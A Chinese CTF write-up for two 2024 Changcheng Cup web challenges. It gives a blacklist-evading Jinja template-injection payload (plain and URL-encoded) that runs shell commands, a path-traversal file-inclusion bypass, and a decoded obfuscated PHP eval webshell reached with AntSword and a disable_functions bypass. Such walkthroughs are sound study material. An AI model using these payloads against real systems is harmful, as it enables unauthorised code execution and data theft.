2024长城杯CCB Web Writeup

safe_proxy

php 复制代码
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

这里

result = render_template_string(template_code)

明显的模板注入

先本地测试一下

    app.route('/', methods=["POST"])
    def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    # print(result)
    # return 'ok' if result is not None else 'error'
    return result

使用fenjing工具拿到payload

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ua='so'[::-1]%}{{cycler.next[gl][bu][im](ua)['p''open']('ls').read()}}"}

之后将flag文件输出到app.py

cat /flag > app.py

payload为

%7b%25%73%65%74%20%67%6c%3d%27%5f%27%2a%32%2b%27%67%6c%6f%62%61%6c%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%62%75%3d%27%5f%27%2a%32%2b%27%62%75%69%6c%74%69%6e%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%69%6d%3d%27%5f%27%2a%32%2b%27%69%27%27%6d%70%6f%72%74%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%75%61%3d%27%73%6f%27%5b%3a%3a%2d%31%5d%25%7d%7b%7b%63%79%63%6c%65%72%2e%6e%65%78%74%5b%67%6c%5d%5b%62%75%5d%5b%69%6d%5d%28%75%61%29%5b%27%70%27%27%6f%70%65%6e%27%5d%28%27%63%61%74%20%2f%66%6c%61%67%20%3e%20%61%70%70%2e%70%79%27%29%2e%72%65%61%64%28%29%7d%7d%22%7d

hello_web

代码和SKCTF2017的源码类似,但思路完全不同

猜测代码如下:

php 复制代码
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file)>=70) //再加上替换掉..
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//hackme.php

php 复制代码
<?php
highlight_file(__FILE__);

$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $lapUCm;
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
echo $YwzIst;
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
echo $OxirhK;
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
echo $YpAUWC;
$rVkKjU=$lapUCm{7}.$lapUCm{13};
echo $rVkKjU;
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst;
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));

解得:

<?php @eval($_POST['cmd_66.99']); ?>

无法正常传参,绕过:cmd[66.99

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//tips.php

phpinfo

信息:disable_functions,php7.3.4

这时候可以用AntSword连接了,http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=.../.../.../...//hackme.php,密码cmd\[66.99

进去后没有权限

用蚁剑插件绕过disable_functions

重新建一个1.php,再执行绕过

最后连接

http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/.antproxy.php

密码1

进去后

find . -type f -name '*flag*'

找到flag,打开就行

相关推荐
没有名字的小羊44 分钟前
tryhackme——Defensive Security Intro(防御安全简介)
安全·web安全
半个西瓜.1 小时前
基线检查:Windows安全基线.【手动 || 自动】
网络·安全·web安全·网络安全·安全威胁分析
奥顺1 小时前
从零开始:PHP基础教程系列-第11篇:使用Composer管理依赖
大数据·mysql·开源·php
vvw&2 小时前
如何在 Ubuntu 22.04 上使用 Fail2Ban 保护 SSH
linux·运维·服务器·web安全·ubuntu·ssh·fail2ban
网络安全Jack2 小时前
网络安全产品之认识防病毒软件
网络·安全·web安全
莫名有雪3 小时前
Hackbar的安装与使用
网络安全
暂时先用这个名字3 小时前
PHP开发日志 ━━ 基础知识:四种不同的变量返回方式该如何调用
android·开发语言·缓存·php·框架·变量·数组
独孤求败Ace3 小时前
第18天:信息收集-Web应用&搭建架构&指纹识别&WAF判断&蜜罐排除&开发框架&组件应用
前端·人工智能·安全·网络安全·架构·系统安全
龙哥·三年风水3 小时前
群控系统服务端开发模式-应用开发-获取登录者今天操作日志
分布式·php·群控系统
奥顺3 小时前
从零开始:PHP基础教程系列-第10篇:错误处理与调试技巧
大数据·mysql·开源·php